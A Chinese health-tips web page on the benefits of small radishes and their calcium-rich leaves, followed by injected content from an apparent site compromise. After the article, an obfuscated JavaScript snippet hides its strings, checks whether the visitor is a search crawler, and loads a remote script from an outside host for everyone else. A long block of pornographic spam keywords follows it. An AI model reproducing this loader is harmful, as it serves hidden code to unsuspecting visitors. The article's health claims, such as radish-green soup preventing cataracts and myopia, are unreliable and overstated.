當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

小蘿卜的功效有幾種

2017-07-11 12:45:56  來源:360常識網(wǎng)   熱度:
導(dǎo)語:在各種食材當(dāng)中,小蘿卜的營養(yǎng)價值非常高,成為了許多人餐桌上必不可少的佳品,小蘿卜是功效也比較多,很多人通過補充小蘿卜提高身體體質(zhì),

在各種食材當(dāng)中,小蘿卜的營養(yǎng)價值非常高,成為了許多人餐桌上必不可少的佳品,小蘿卜是功效也比較多,很多人通過補充小蘿卜提高身體體質(zhì),它也是補鈣的高手,非常適合人體缺鈣的癥狀,如果把它去掉,整個小蘿卜就沒有價值了。下面帶著大家一起了解小蘿卜的功效,希望對大家的健康有益處。

買來小蘿卜削掉小蘿卜纓,似乎是最順理成章的事,但是小蘿卜纓是含鈣量最高的蔬菜,非常適合缺鈣的人群,要是把小蘿卜纓丟棄掉了,等于丟棄了小蘿卜的精華部分。

不管是什么種類的蘿卜纓,在補鈣方面都有著明顯的優(yōu)勢。以號稱補鈣作用很好的大豆為例,每100克大豆的含鈣量大約是在191毫克左右,但是每100克紅蘿卜纓的含鈣量則是350毫克,鈣含量幾乎是大豆的一倍。

在食品營養(yǎng)元素表中,每100克紅(胡)蘿卜纓含鈣350毫克,排在所有蔬菜含鈣量的第一位,小蘿卜纓含鈣238毫克,青蘿卜纓含鈣110毫克,也在含鈣排行榜中名列前茅。

除了補鈣,小蘿卜纓中還含有多種礦物質(zhì)和微量元素,是營養(yǎng)非常齊全的蔬菜,富含的粗纖維,還能緩解便秘。此外,小蘿卜纓含鉬較高。因此,常喝點小蘿卜纓湯,有一定的預(yù)防近視眼、老花眼、白內(nèi)障的作用。

小蘿卜的功效非常多,生活中如果你也愛吃蘿卜,可以通過各種各樣的烹飪手法,變著花樣來吃,可以炒、燉湯、清蒸,味道都非常清甜鮮美,剛剛摘回來的小蘿卜功效更加強大,人體很多病癥都可以通過吃它來緩解,秋季時節(jié)更加可以多吃小蘿卜湯。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产欧美另类久久久精品图片 | sss视频在线精品| 国内揄拍国内精品对白86 | 国产精品久久久久久久网站| 最新日韩精品中文字幕| 国产精品国产三级国产专播| 久久久久久九九99精品 | 色欲久久久天天天综合网精品| 国产亚洲精品一品区99热| 精品aⅴ一区二区三区| 久久人人超碰精品CAOPOREN| 精品国产污污免费网站入口在线| 一区二区精品视频| 永久无码精品三区在线4| 国产日韩精品一区二区在线观看播放| 精品国产高清久久久久久小说 | 97久久精品午夜一区二区| 中文精品久久久久国产网站| 九九久久精品国产| 精品人妻系列无码人妻免费视频| 国产精品无码专区在线观看| 国产精品亚洲产品一区二区三区| 精品国产91久久久久久久a| 久久久久国产精品嫩草影院| 中文字幕在线精品| 自拍偷在线精品自拍偷无码专区 | 99精品国产99久久久久久97 | 亚洲国产精品精华液| 亚洲国产精品美女久久久久| 国产精品成人免费视频网站京东 | 久久精品乱子伦免费| 亚洲嫩草影院久久精品| 午夜精品一区二区三区免费视频| 午夜精品久久久久久99热| 久久久久无码精品国产不卡| 亚洲一区精品视频在线| 国产精品久线观看视频| 在线观看一区二区精品视频| 国产乱码一二三区精品| 久久久久无码精品| 日韩精品在线观看视频|